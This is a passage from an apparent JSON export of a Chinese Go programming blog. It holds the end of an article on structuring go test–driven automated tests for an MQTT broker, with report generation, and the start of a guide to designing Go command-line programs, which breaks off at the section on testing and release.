test命令作为执行这些用例的测试驱动工具。此外，有了GPT-4加持，生成TestXxx、补充用例啥的应该也不是大问题。\n下面我们来看看如何组织和编写用例并使用go test驱动进行自动化测试。\n三. 实现 1. 测试用例组织 我的《Go语言精进之路vol2》书中的第41条“有层次地组织测试代码”中对基于go test的测试用例组织做过系统的论述。结合Go test提供的TestMain、TestXxx与sub test，我们完全可以基于go test建立起一个层次清晰的测试用例结构。这里就以一个对开源mqtt broker的自动化测试为例来说明一下。\n注：你可以在本地搭建一个单机版的开源mqtt broker服务作为被测对象，比如使用Eclipse的mosquitto。\n在组织用例之前，我先问了一下ChatGPT对一个mqtt broker测试都应该包含哪些方面的用例，ChatGPT给了我一个简单的表：\n如果你对MQTT协议有所了解，那么你应该觉得ChatGPT给出的答案还是很不错的。\n这里我们就以connection、subscribe和publish三个场景(scenario)来组织用例：\n$tree -F . . ├── Makefile ├── go.mod ├── go.sum ├── scenarios/ │ ├── connection/ // 场景：connection │ │ ├── connect_test.go // test suites │ │ └── scenario_test.go │ ├── publish/ // 场景：publish │ │ ├── publish_test.go // test suites │ │ └── scenario_test.go │ ├── scenarios.go // 场景中测试所需的一些公共函数 │ └── subscribe/ // 场景：subscribe │ ├── scenario_test.go │ └── subscribe_test.go // test suites └── test_report.html // 生成的默认测试报告 简单说明一下这个测试用例组织布局：\n我们将测试用例分为多个场景(scenario)，这里包括connection、subscribe和publish；\n由于是由go test驱动，所以每个存放test源文件的目录中都要遵循Go对Test的要求，比如：源文件以_test.go结尾等。\n每个场景目录下存放着测试用例文件，一个场景可以有多个_test.go文件。这里设定_test.go文件中的每个TestXxx为一个test suite，而TestXxx中再基于subtest编写用例，这里每个subtest case为一个最小的test case；\n每个场景目录下的scenario_test.go，都是这个目录下包的TestMain入口，主要是考虑为所有包传入统一的命令行标志与参数值，同时你也针对该场景设置在TestMain中设置setup和teardown。该文件的典型代码如下：\n// github.com/bigwhite/experiments/automated-testing/scenarios/subscribe/scenario_test.go\npackage subscribe\nimport ( \u0026ldquo;flag\u0026rdquo; \u0026ldquo;log\u0026rdquo; \u0026ldquo;os\u0026rdquo; \u0026ldquo;testing\u0026rdquo;\nmqtt \u0026quot;github.com/eclipse/paho.mqtt.golang\u0026quot; )\nvar addr string\nfunc init() { flag.StringVar(\u0026amp;addr, \u0026ldquo;addr\u0026rdquo;, \u0026ldquo;\u0026rdquo;, \u0026ldquo;the broker address(ip:port)\u0026rdquo;) }\nfunc TestMain(m *testing.M) { flag.Parse()\n// setup for this scenario mqtt.ERROR = log.New(os.Stdout, \u0026quot;[ERROR] \u0026quot;, 0) // run this scenario test r := m.Run() // teardown for this scenario // tbd if teardown is needed os.Exit(r) }\n接下来我们再来看看具体测试case的实现。\n2. 测试用例实现 我们以稍复杂一些的subscribe场景的测试为例，我们看一下subscribe目录下的subscribe_test.go中的测试suite和cases：\n// github.com/bigwhite/experiments/automated-testing/scenarios/subscribe/subscribe_test.go package subscribe import ( scenarios \u0026quot;bigwhite/autotester/scenarios\u0026quot; \u0026quot;testing\u0026quot; ) func Test_Subscribe_S0001_SubscribeOK(t *testing.T) { t.Parallel() // indicate the case can be ran in parallel mode tests := []struct { name string topic string qos byte }{ { name: \u0026quot;Case_001: Subscribe with QoS 0\u0026quot;, topic: \u0026quot;a/b/c\u0026quot;, qos: 0, }, { name: \u0026quot;Case_002: Subscribe with QoS 1\u0026quot;, topic: \u0026quot;a/b/c\u0026quot;, qos: 1, }, { name: \u0026quot;Case_003: Subscribe with QoS 2\u0026quot;, topic: \u0026quot;a/b/c\u0026quot;, qos: 2, }, } for _, tt := range tests { tt := tt t.Run(tt.name, func(t *testing.T) { t.Parallel() // indicate the case can be ran in parallel mode client, testCaseTeardown, err := scenarios.TestCaseSetup(addr, nil) if err != nil { t.Errorf(\u0026quot;want ok, got %v\u0026quot;, err) return } defer testCaseTeardown() token := client.Subscribe(tt.topic, tt.qos, nil) token.Wait() // Check if subscription was successful if token.Error() != nil { t.Errorf(\u0026quot;want ok, got %v\u0026quot;, token.Error()) } token = client.Unsubscribe(tt.topic) token.Wait() if token.Error() != nil { t.Errorf(\u0026quot;want ok, got %v\u0026quot;, token.Error()) } }) } } func Test_Subscribe_S0002_SubscribeFail(t *testing.T) { } 这个测试文件中的测试用例与我们日常编写单测并没有什么区别！有一些需要注意的地方是：\nTest函数命名 这里使用了Test_Subscribe_S0001_SubscribeOK、Test_Subscribe_S0002_SubscribeFail命名两个Test suite。命名格式为：\nTest_场景_suite编号_测试内容缩略 之所以这么命名，一来是测试用例组织的需要，二来也是为了后续在生成的Test report中区分不同用例使用。\ntestcase通过subtest呈现 每个TestXxx是一个test suite，而基于表驱动的每个sub test则对应一个test case。\ntest suite和test case都可单独标识为是否可并行执行 通过testing.T的Parallel方法可以标识某个TestXxx或test case(subtest)是否是可以并行执行的。\n针对每个test case，我们都调用setup和teardown 这样可以保证test case间都相互独立，互不影响。\n3. 测试执行与报告生成 设计完布局，编写完用例后，接下来就是执行这些用例。那么怎么执行这些用例呢？\n前面说过，我们的方案是基于go test驱动的，我们的执行也要使用go test。\n在顶层目录automated-testing下，执行如下命令：\n$go test ./... -addr localhost:30083 go test会遍历执行automated-testing下面每个包的测试，在执行每个包的测试时会将-addr这个flag传入。如果localhost:30083端口并没有mqtt broker服务监听，那么上面的命令将输出如下信息：\n$go test ./... -addr localhost:30083 ? bigwhite/autotester/scenarios [no test files] [ERROR] [client] dial tcp [::1]:30083: connect: connection refused [ERROR] [client] Failed to connect to a broker --- FAIL: Test_Connection_S0001_ConnectOKWithoutAuth (0.00s) connect_test.go:20: want ok, got network Error : dial tcp [::1]:30083: connect: connection refused FAIL FAIL bigwhite/autotester/scenarios/connection 0.015s [ERROR] [client] dial tcp [::1]:30083: connect: connection refused [ERROR] [client] Failed to connect to a broker --- FAIL: Test_Publish_S0001_PublishOK (0.00s) publish_test.go:11: want ok, got network Error : dial tcp [::1]:30083: connect: connection refused FAIL FAIL bigwhite/autotester/scenarios/publish 0.016s [ERROR] [client] dial tcp [::1]:30083: connect: connection refused [ERROR] [client] dial tcp [::1]:30083: connect: connection refused [ERROR] [client] Failed to connect to a broker [ERROR] [client] Failed to connect to a broker [ERROR] [client] dial tcp [::1]:30083: connect: connection refused [ERROR] [client] Failed to connect to a broker --- FAIL: Test_Subscribe_S0001_SubscribeOK (0.00s) --- FAIL: Test_Subscribe_S0001_SubscribeOK/Case_002:_Subscribe_with_QoS_1 (0.00s) subscribe_test.go:39: want ok, got network Error : dial tcp [::1]:30083: connect: connection refused --- FAIL: Test_Subscribe_S0001_SubscribeOK/Case_003:_Subscribe_with_QoS_2 (0.00s) subscribe_test.go:39: want ok, got network Error : dial tcp [::1]:30083: connect: connection refused --- FAIL: Test_Subscribe_S0001_SubscribeOK/Case_001:_Subscribe_with_QoS_0 (0.00s) subscribe_test.go:39: want ok, got network Error : dial tcp [::1]:30083: connect: connection refused FAIL FAIL bigwhite/autotester/scenarios/subscribe 0.016s FAIL 这也是一种测试失败的情况。\n在自动化测试时，我们一般会把错误或成功的信息保存到一个测试报告文件(多是html)中，那么我们如何基于上面的测试结果内容生成我们的测试报告文件呢？\n首先go test支持将输出结果以结构化的形式展现，即传入-json这个flag。这样我们仅需基于这些json输出将各个字段读出并写入html中即可。好在有现成的开源工具可以做到这点，那就是go-test-report。下面是通过命令行管道让go test与go-test-report配合工作生成测试报告的命令行：\n注：go-test-report工具的安装方法：go install github.com/vakenbolt/go-test-report@latest\n$go test ./... -addr localhost:30083 -json|go-test-report [go-test-report] finished in 1.375540542s 执行结束后，就会在当前目录下生成一个test_report.html文件，使用浏览器打开该文件就能看到测试执行结果：\n通过测试报告的输出，我们可以很清楚看到哪些用例通过，哪些用例失败了。并且通过Test suite的名字或Test case的名字可以快速定位是哪个scenario下的哪个suite的哪个case报的错误！我们也可以点击某个test suite的名字，比如：Test_Connection_S0001_ConnectOKWithoutAuth，打开错误详情查看错误对应的源文件与具体的行号：\n为了方便快速敲入上述命令，我们可以将其放入Makefile中方便输入执行，即在顶层目录下，执行make即可执行测试：\n$make go test ./... -addr localhost:30083 -json|go-test-report [go-test-report] finished in 2.011443636s 如果要传入自定义的mqtt broker的服务地址，可以用：\n$make broker_addr=192.168.10.10:10083 四. 小结 在这篇文章中，我们介绍了如何实现基于go test驱动的自动化测试，介绍了这样的测试的结构布局、用例编写方法、执行与报告生成等。\n这个方案的不足是要求测试用例所在环境需要部署go与go-test-report。\ngo test支持将test编译为一个可执行文件，不过不支持将多个包的测试编译为一个可执行文件：\n$go test -c ./... cannot use -c flag with multiple packages 此外由于go test编译出的可执行文件不支持将输出内容转换为JSON格式，因此也无法对接go-test-report将测试结果保存在文件中供后续查看。\n本文涉及的源码可以在这里下载 – https://github.com/bigwhite/experiments/tree/master/automated-testing\n“Gopher部落”知识星球旨在打造一个精品Go学习和进阶社群！高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！2023年，Gopher部落将进一步聚焦于如何编写雅、地道、可读、可测试的Go代码，关注代码质量并深入理解Go核心技术，并继续加强与星友的互动。欢迎大家加入！\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博(暂不可用)：https://weibo.com/bigwhite20xx 微博2：https://weibo.com/u/6484441286 博客：tonybai.com github: https://github.com/bigwhite 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2023/03/30/automated-testing-driven-by-go-test/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/automated-testing-driven-by-go-test-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2023/03/30/automated-testing-driven-by-go-test\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2023/03/30/automated-testing-driven-by-go-test\"\u003ehttps://tonybai.com/2023/03/30/automated-testing-driven-by-go-test\u003c/a\u003e\u003c/p\u003e\n\u003ch2 id=\"一-背景\"\u003e一. 背景\u003c/h2\u003e\n\u003cp\u003e团队的测试人员稀缺，无奈只能“自己动手，丰衣足食”，针对我们开发的系统进行自动化测试，这样\u003cstrong\u003e既节省的人力，又提高了效率，还增强了对系统质量保证的信心\u003c/strong\u003e。\u003c/p\u003e","title":"使用go test框架驱动的自动化测试"},{"content":"\n注：上面篇首配图的底图由百度文心一格生成。\n本文永久链接 – https://tonybai.com/2023/03/25/the-guide-of-developing-cli-program-in-go\n近期在Twitter上看到一个名为“Command Line Interface Guidelines”的站点，这个站点汇聚了帮助大家编写出更好命令行程序的哲学与指南。这份指南基于传统的Unix编程原则，又结合现代的情况进行了“与时俱进”的更新。之前我还真未就如何编写命令行交互程序做系统的梳理，在这篇文章中，我们就来结合clig这份指南，(可能不会全面覆盖)整理出一份使用Go语言编写CLI程序的指南，供大家参考。\n一. 命令行程序简介 命令行接口（Command Line Interface, 简称CLI）程序是一种允许用户使用文本命令和参数与计算机系统互动的软件。开发人员编写CLI程序通常用在自动化脚本、数据处理、系统管理和其他需要低级控制和灵活性的任务上。命令行程序也是Linux/Unix管理员以及后端开发人员的最爱。\n2022年Q2 Go官方用户调查结果显示(如下图)：在使用Go开发的程序类别上，CLI类程序排行第二，得票率60%。\n之所以这样，得益于Go语言为CLI开发提供的诸多便利，比如：\nGo语法简单而富有表现力； Go拥有一个强大的标准库，并内置的并发支持； Go拥有几乎最好的跨平台兼容性和快速的编译速度； Go还有一个丰富的第三方软件包和工具的生态系统。 这些都让开发者使用Go创建强大和用户友好的CLI程序变得容易。\n容易归容易，但要用Go编写出优秀的CLI程序，我们还需要遵循一些原则，获得一些关于Go CLI程序开发的最佳实践和惯例。这些原则和惯例涉及交互界面设计、错误处理、文档、测试和发布等主题。此外，借助于一些流行的Go CLI程序开发库和框架，比如：cobra、Kingpin和Goreleaser等，我们可以又好又快地完成CLI程序的开发。在本文结束时，你将学会如何创建一个易于使用、可靠和可维护的Go CLI程序，你还将获得一些关于CLI开发的最佳实践和惯例的见解。\n二. 建立Go开发环境 如果你读过《十分钟入门Go语言》或订阅学习过我的极客时间《Go语言第一课》专栏，你大可忽略这一节的内容。\n在我们开始编写Go CLI程序之前，我们需要确保我们的系统中已经安装和配置了必要的Go工具和依赖。在本节中，我们将向你展示如何安装Go和设置你的工作空间，如何使用go mod进行依赖管理，以及如何使用go build和go install来编译和安装你的程序。\n1. 安装Go 要在你的系统上安装Go，你可以遵循你所用操作系统的官方安装说明。你也可以使用软件包管理器，如homebrew（用于macOS）、chocolatey（用于Windows）或snap/apt（用于Linux）来更容易地安装Go。\n一旦你安装了Go，你可以通过在终端运行以下命令来验证它是否可以正常工作。\n$go version 如果安装成功，go version这个命令应该会打印出你所安装的Go的版本。比如说：\ngo version go1.20 darwin/amd64 2. 设置你的工作区(workspace) Go以前有一个惯例，即在工作区目录中(\\$GOPATH)组织你的代码和依赖关系。默认工作空间目录位于$HOME/go，但你可以通过设置GOPATH环境变量来改变它的路径。工作区目录包含三个子目录：src、pkg和bin。src目录包含了你的源代码文件和目录。pkg目录包含被你的代码导入的已编译好的包。bin目录包含由你的代码生成的可执行二进制文件。\nGo 1.11引入Go module后，这种在\\$GOPATH下组织代码和寻找依赖关系的要求被彻底取消。在这篇文章中，我依旧按照我的习惯在$HOME/go/src下放置我的代码示例。\n为了给我们的CLI程序创建一个新的项目目录，我们可以在终端运行以下命令：\n$mkdir -p $HOME/go/src/github.com/your-username/your-li-program $cd $HOME/go/src/github.com/your-username/your-cli-program 注意，我们的项目目录名使用的是github的URL格式。这在Go项目中是一种常见的做法，因为它使得使用go get导入和管理依赖关系更加容易。go module成为构建标准后，这种对项目目录名的要求已经取消，但很多Gopher依旧保留了这种作法。\n3. 使用go mod进行依赖管理 1.11版本后Go推荐开发者使用module来管理包的依赖关系。一个module是共享一个共同版本号和导入路径前缀的相关包的集合。一个module是由一个叫做go.mod的文件定义的，它指定了模块的名称、版本和依赖关系。\n为了给我们的CLI程序创建一个新的module，我们可以在我们的项目目录下运行以下命令。\n$go mod init github.com/your-username/your-cli-program 这将创建一个名为go.mod的文件，内容如下。\nmodule github.com/your-username/your-cli-program go 1.20 第一行指定了我们的module名称，这与我们的项目目录名称相匹配。第二行指定了构建我们的module所需的Go的最低版本。\n为了给我们的模块添加依赖项，我们可以使用go get命令，加上我们想使用的软件包的导入路径和可选的版本标签。例如，如果我们想使用cobra作为我们的CLI框架，我们可以运行如下命令：\n$go get github.com/spf13/cobra@v1.3.0 go get将从github下载cobra，并在我们的go.mod文件中把它作为一个依赖项添加进去。它还将创建或更新一个名为go.sum的文件，记录所有下载的module的校验和，以供后续验证使用。\n我们还可以使用其他命令，如go list、go mod tidy、go mod graph等，以更方便地检查和管理我们的依赖关系。\n4. 使用go build和go install来编译和安装你的程序 Go有两个命令允许你编译和安装你的程序：go build和go install。这两个命令都以一个或多个包名或导入路径作为参数，并从中产生可执行的二进制文件。\n它们之间的主要区别在于它们将生成的二进制文件存储在哪里。\ngo build将它们存储在当前工作目录中。 go install将它们存储在\\$GOPATH/bin或\\$GOBIN（如果设置了）。 例如，如果我们想把CLI程序的main包（应该位于github.com/your-username/your-cli-program/cmd/your-cli-program）编译成一个可执行的二进制文件，称为your-cli-program，我们可以运行下面命令：\n$go build github.com/your-username/your-cli-program/cmd/your-cli-program 或\n$go install github.com/your-username/your-cli-program/cmd/your-cli-program@latest 三. 设计用户接口(interface) 要编写出一个好的CLI程序，最重要的环节之一是**设计一个用户友好的接口。好的命令行用户接口应该是一致的、直观的和富有表现力的**。在本节中，我将说明如何为命令行程序命名和选择命令结构(command structure)，如何使用标志(flag)、参数(argument)、子命令(subcommand)和选项(option)作为输入参数，如何使用cobra或Kingpin等来解析和验证用户输入，以及如何遵循POSIX惯例和GNU扩展的CLI语法。\n1. 命令行程序命名和命令结构选择 你的CLI程序的名字应该是**简短、易记、描述性的和易输入的**。它应该避免与目标平台中现有的命令或关键字发生冲突。例如，如果你正在编写一个在不同格式之间转换图像的程序，你可以把它命名为imgconv、imago、picto等，但不能叫image、convert或format。\n你的CLI程序的命令结构应该反映你想提供给用户的主要功能特性。你可以选择使用下面命令结构模式中的一种：\n一个带有多个标志(flag)和参数(argument)的单一命令（例如：curl、tar、grep等) 带有多个子命令(subcommand)的单一命令（例如：git、docker、kubectl等) 具有共同前缀的多个命令（例如：aws s3、gcloud compute、az vm等) 命令结构模式的选择取决于你的程序的复杂性和使用范围，一般来说：\n如果你的程序只有一个主要功能或操作模式(operation mode)，你可以使用带有多个标志和参数的单一命令。 如果你的程序有多个相关但又不同的功能或操作模式，你可以使用一个带有多个子命令的单一命令。 如果你的程序有多个不相关或独立的功能或操作模式，你可以使用具有共同前缀的多个命令。 例如，如果你正在编写一个对文件进行各种操作的程序（如复制、移动、删除），你可以任选下面命令结构模式中的一种：\n带有多个标志和参数的单一命令（例如，fileop -c src dst -m src dst -d src) 带有多个子命令的单个命令（例如，fileop copy src dst, fileop move src dst, fileop delete src) 2. 使用标志、参数、子命令和选项 **标志(flag)**是以一个或多个(通常是2个)中划线（-）开头的输入参数，它可以修改CLI程序的行为或输出。例如：\n$curl -s -o output.txt https://example.com 在这个例子中：\n“-s”是一个让curl沉默的标志，即不输出执行日志到控制台； “-o”是另一个标志，用于指定输出文件的名称 “output.txt”则是一个参数，是为“-o”标志提供的值。 **参数(argument)**是不以中划线（-）开头的输入参数，为你的CLI程序提供额外的信息或数据。例如：\n$tar xvf archive.tar.gz 我们看在这个例子中：\nx是一个指定提取模式的参数 v是一个参数，指定的是输出内容的详细(verbose)程度 f是另一个参数，用于指定采用的是文件模式，即将压缩结果输出到一个文件或从一个压缩文件读取数据 archive.tar.gz是一个参数，提供文件名。 **子命令(subcommand)**是输入参数，作为主命令下的辅助命令。它们通常有自己的一组标志和参数。比如下面例子：\n$git commit -m \u0026quot;Initial commit\u0026quot; 我们看在这个例子中：\ngit是主命令(primary command) commit是一个子命令，用于从staged的修改中创建一个新的提交(commit) “-m”是commit子命令的一个标志，用于指定提交信息 “Initial commit”是commit子命令的一个参数，为”-m”标志提供值。 **选项(option)**是输入参数，它可以使用等号（=）将标志和参数合并为一个参数。例如:\n$docker run --name=my-container ubuntu:latest 我们看在这个例子中“–name=my-container”是一个选项，它将容器的名称设为my-container。该选项前面的部分“–name”是一个标志，后面的部分“my-container”是参数。\n3. 使用cobra包等来解析和验证用户输入的信息 如果手工来解析和验证用户输入的信息，既繁琐又容易出错。幸运的是，有许多库和框架可以帮助你在Go中解析和验证用户输入。其中最流行的是cobra。\ncobra是一个Go包，它提供了简单的接口来创建强大的CLI程序。它支持子命令、标志、参数、选项、环境变量和配置文件。它还能很好地与其他库集成，比如：viper（用于配置管理）、pflag（用于POSIX/GNU风格的标志）和Docopt（用于生成文档）。\n另一个不那么流行但却提供了一种声明式的方法来创建优雅的CLI程序的包是Kingpin，它支持标志、参数、选项、环境变量和配置文件。它还具有自动帮助生成、命令完成、错误处理和类型转换等功能。\ncobra和Kingpin在其官方网站上都有大量的文档和例子，你可以根据你的偏好和需要选择任选其一。\n4. 遵循POSIX惯例和GNU扩展的CLI语法 POSIX（Portable Operating System Interface）是一套标准，定义了软件应该如何与操作系统进行交互。其中一个标准定义了CLI程序的语法和语义。GNU（GNU’s Not Unix）是一个旨在创建一个与UNIX兼容的自由软件操作系统的项目。GNU下的一个子项目是GNU Coreutils，它提供了许多常见的CLI程序，如ls、cp、mv等。\nPOSIX和GNU都为CLI语法建立了一些约定和扩展，许多CLI程序都采用了这些约定与扩展。下面列举了这些约定和扩展中的一些主要内容：\n单字母标志(single-letter flag)以一个中划线（-）开始，可以组合在一起（例如：-a -b -c 或 -abc ) 长标志(long flag)以两个中划线（–）开头，但不能组合在一起（例如：–all、–backup、–color ) 选项使用等号(=)来分隔标志名和参数值(例如：–name=my-container ) 参数跟在标志或选项之后，没有任何分隔符（例如：curl -o output.txt https://example.com ）。 子命令跟在主命令之后，没有任何分隔符（例如：git commit -m “Initial commit” ) 一个双中划线（–）表示标志或选项的结束和参数的开始（例如：rm — -f 表示要删除“-f”这个文件，由于双破折线的存在，这里的“-f”不再是标志) 遵循这些约定和扩展可以使你的CLI程序更加一致、直观，并与其他CLI程序兼容。然而，它们并不是强制性的，如果你有充分的理由，你也大可不必完全遵守它们。例如，一些CLI程序使用斜线（/）而不是中划线（-）表示标志（例如， robocopy /S /E src dst ）。\n四. 处理错误和信号 编写好的CLI程序的一个重要环节就是**优雅地处理错误和信号**。\n错误是指你的程序由于某些内部或外部因素而无法执行其预定功能的情况。信号是由操作系统或其他进程向你的程序发送的事件，以通知它一些变化或请求。在这一节中，我将说明一下如何使用log、fmt和errors包进行日志输出和错误处理，如何使用os.Exit和defer语句进行优雅的终止，如何使用os.Signal和context包进行中断和取消操作，以及如何遵循CLI程序的退出状态代码惯例。\n1. 使用log、fmt和errors包进行日志记录和错误处理 Go标准库中有三个包log、fmt和errors可以帮助你进行日志和错误处理。log包提供了一个简单的接口，可以将格式化的信息写到标准输出或文件中。fmt包则提供了各种格式化字符串和值的函数。errors包提供了创建和操作错误值的函数。\n要使用log包，你需要在你的代码中导入它：\nimport \u0026quot;log\u0026quot; 然后你可以使用log.Println、log.Printf、log.Fatal和log.Fatalf等函数来输出不同严重程度的信息。比如说：\nlog.Println(\u0026quot;Starting the program...\u0026quot;) // 打印带有时间戳的消息 log.Printf(\u0026quot;Processing file %s...\\n\u0026quot;, filename) // 打印一个带时间戳的格式化信息 log.Fatal(\u0026quot;Cannot open file: \u0026quot;, err) // 打印一个带有时间戳的错误信息并退出程序 log.Fatalf(\u0026quot;Invalid input: %v\\n\u0026quot;, input) // 打印一个带时间戳的格式化错误信息，并退出程序。 为了使用fmt包，你需要先在你的代码中导入它：\nimport \u0026quot;fmt\u0026quot; 然后你可以使用fmt.Println、fmt.Printf、fmt.Sprintln、fmt.Sprintf等函数以各种方式格式化字符串和值。比如说：\nfmt.Println(\u0026quot;Hello world!\u0026quot;) // 打印一条信息，后面加一个换行符 fmt.Printf(\u0026quot;The answer is %d\\n\u0026quot;, 42) // 打印一条格式化的信息，后面是换行。 s := fmt.Sprintln(\u0026quot;Hello world!\u0026quot;) // 返回一个带有信息和换行符的字符串。 t := fmt.Sprintf(\u0026quot;The answer is %d\\n\u0026quot;, 42) // 返回一个带有格式化信息和换行的字符串。 要使用错误包，你同样需要在你的代码中导入它：\nimport \u0026quot;errors\u0026quot; 然后你可以使用 errors.New、errors.Unwrap、errors.Is等函数来创建和操作错误值。比如说：\nerr := errors.New(\u0026quot;Something went wrong\u0026quot;) // 创建一个带有信息的错误值 cause := errors.Unwrap(err) // 返回错误值的基本原因（如果没有则为nil）。 match := errors.Is(err, io.EOF) // 如果一个错误值与另一个错误值匹配，则返回真（否则返回假）。 2. 使用os.Exit和defer语句实现CLI程序的优雅终止 Go有两个功能可以帮助你优雅地终止CLI程序：os.Exit和defer。os.Exit函数立即退出程序，并给出退出状态代码。defer语句则会在当前函数退出前执行一个函数调用，它常用来执行清理收尾动作，如关闭文件或释放资源。\n要使用os.Exit函数，你需要在你的代码中导入os包：\nimport \u0026quot;os\u0026quot; 然后你可以使用os.Exit函数，它的整数参数代表退出状态代码。比如说\nos.Exit(0) // 以成功的代码退出程序 os.Exit(1) // 以失败代码退出程序 要使用defer语句，你需要把它写在你想后续执行的函数调用之前。比如说\nfile, err := os.Open(filename) // 打开一个文件供读取。 if err != nil { log.Fatal(err) // 发生错误时退出程序 } defer file.Close() // 在函数结束时关闭文件。 // 对文件做一些处理... 3. 使用os.signal和context包来实现中断和取消操作 Go有两个包可以帮助你实现中断和取消长期运行的或阻塞的操作，它们是os.signal和context包。os.signal提供了一种从操作系统或其他进程接收信号的方法。context包提供了一种跨越API边界传递取消信号和deadline的方法。\n要使用os.signal，你需要先在你的代码中导入它。\nimport ( \u0026quot;os\u0026quot; \u0026quot;os/signal\u0026quot; ) 然后你可以使用signal.Notify函数针对感兴趣的信号(如下面的os.Interrupt信号)注册一个接收channel(sig)。比如说：\nsig := make(chan os.Signal, 1) // 创建一个带缓冲的信号channel。 signal.Notify(sig, os.Interrupt) // 注册sig以接收中断信号（例如Ctrl-C）。 // 做一些事情... select { case \u0026lt;-sig: // 等待来自sig channel的信号 fmt.Println(\u0026quot;被用户中断了\u0026quot;) os.Exit(1) // 以失败代码退出程序。 default: //如果没有收到信号就执行 fmt.Println(\u0026quot;成功完成\u0026quot;) os.Exit(0) // 以成功代码退出程序。 } 要使用上下文包，你需要在你的代码中导入它：\nimport \u0026quot;context\u0026quot; 然后你可以使用它的函数，如context.Background、context.WithCancel、context.WithTimeout等来创建和管理Context。Context是一个携带取消信号和deadline的对象，可以跨越API边界。比如说：\nctx := context.Background() // 创建一个空的背景上下文（从不取消）。 ctx, cancel := context.WithCancel(ctx) // 创建一个新的上下文，可以通过调用cancel函数来取消。 defer cancel() // 在函数结束前执行ctx的取消动作 // 将ctx传递给一些接受它作为参数的函数...... select { case \u0026lt;-ctx.Done(): // 等待来自ctx的取消信号 fmt.Println(\u0026quot;Canceled by parent\u0026quot;) return ctx.Err() // 从ctx返回一个错误值 default: // 如果没有收到取消信号就执行 fmt.Println(\u0026quot;成功完成\u0026quot;) return nil // 不返回错误值 } 4. CLI程序的退出状态代码惯例 退出状态代码是一个整数，表示CLI程序是否成功执行完成。CLI程序通过调用os.Exit或从main返回的方式返回退出状态值。其他CLI程序或脚本可以可以检查这些退出状态码，并根据状态码值的不同执行不同的处理操作。\n业界有一些关于退出状态代码的约定和扩展，这些约定被许多CLI程序广泛采用。其中一些主要的约定和扩展如下：。\n退出状态代码为0表示程序执行成功（例如：os.Exit(0) ) 非零的退出状态代码表示失败（例如：os.Exit(1) ）。 不同的非零退出状态代码可能表示不同的失败类型或原因（例如：os.Exit(2)表示使用错误，os.Exit(3)表示权限错误等等）。 大于125的退出状态代码可能表示被外部信号终止（例如，os.Exit(130)为被信号中断）。 遵循这些约定和扩展可以使你的CLI程序表现的更加一致、可靠并与其他CLI程序兼容。然而，它们不是强制性的，你可以使用任何对你的程序有意义的退出状态代码。例如，一些CLI程序使用高于200的退出状态代码来表示自定义或特定应用的错误（例如，os.Exit(255)表示未知错误）。\n五. 编写文档 编写优秀CLI程序的另一个重要环节是编写清晰简洁的文档，解释你的程序做什么以及如何使用它。文档可以采取各种形式，如README文件、usage信息、help flag等。在本节中，我们将告诉你如何为你的程序写一个README文件，如何为你的程序写一个有用的usage和help flag等。\n1. 为你的CLI程序写一个清晰简洁的README文件 README文件是一个文本文件，它提供了关于你的程序的基本信息，如它的名称、描述、用法、安装、依赖性、许可证和联系细节等。它通常是用户或开发者在源代码库或软件包管理器上首次使用你的程序时会看到的内容。\n如果你要为Go CLI程序编写一个优秀的README文件，你应该遵循一些最佳实践，比如：\n使用一个描述性的、醒目的标题，反映你的程序的目的和功能。 提供一个简短的介绍，解释你的程序是做什么的，为什么它是有用的或独特的。 包括一个usage部分，说明如何用不同的标志、参数、子命令和选项来调用你的程序。你可以使用代码块或屏幕截图来说明这些例子。 包括一个安装(install)部分，解释如何在不同的平台上下载和安装你的程序。你可以使用go install、go get、goreleaser或其他工具来简化这一过程。 指定你的程序的发行许可，并提供一个许可全文的链接。你可以使用SPDX标识符来表示许可证类型。 为想要报告问题、请求新功能、贡献代码或提问的用户或开发者提供联系信息。你可以使用github issue、pr、discussion、电子邮件或其他渠道来达到这个目的。 以下是一个Go CLI程序的README文件的示例供参考：\n2. 为你的CLI程序编写有用的usage和help标志 usage信息是一段简短的文字，总结了如何使用你的程序及其可用的标志、参数、子命令和选项。它通常在你的程序在没有参数或输入无效的情况下运行时显示。\nhelp标志是一个特殊的标志（通常是-h或–help），它可以触发显示使用信息和一些关于你的程序的额外信息。\n为了给你的Go CLI程序写有用的usage信息和help标志，你应该遵循一些准则，比如说：\n使用一致而简洁的语法来描述标志、参数、子命令和选项。你可以用方括号“[ ]”表示可选元素，使用角括号“\u0026lt; \u0026gt;”表示必需元素，使用省略号“…”表示重复元素，使用管道“|”表示备选，使用中划线“-”表示标志(flag)，使用等号“=”表示标志的值等等。 对标志、参数、子命令和选项应使用描述性的名称，以反映其含义和功能。避免使用单字母名称，除非它们非常常见或非常直观（如-v按惯例表示verbose模式）。 为每个标志、参数、子命令和选项提供简短而清晰的描述，解释它们的作用以及它们如何影响你的程序的行为。你可以用圆括号“（ ）”来表达额外的细节或例子。 使用标题或缩进将相关的标志、参数、子命令和选项组合在一起。你也可以用空行或水平线（—）来分隔usage的不同部分。 在每组中按名称的字母顺序排列标志。在每组中按重要性或逻辑顺序排列参数。在每组中按使用频率排列子命令。 git的usage就是一个很好的例子：\n$git usage: git [--version] [--help] [-C \u0026lt;path\u0026gt;] [-c \u0026lt;name\u0026gt;=\u0026lt;value\u0026gt;] [--exec-path[=\u0026lt;path\u0026gt;]] [--html-path] [--man-path] [--info-path] [-p | --paginate | -P | --no-pager] [--no-replace-objects] [--bare] [--git-dir=\u0026lt;path\u0026gt;] [--work-tree=\u0026lt;path\u0026gt;] [--namespace=\u0026lt;name\u0026gt;] \u0026lt;command\u0026gt; [\u0026lt;args\u0026gt;] 结合上面的准则，大家可以细心体会一下。\n六. 测试和发布你的CLI程序 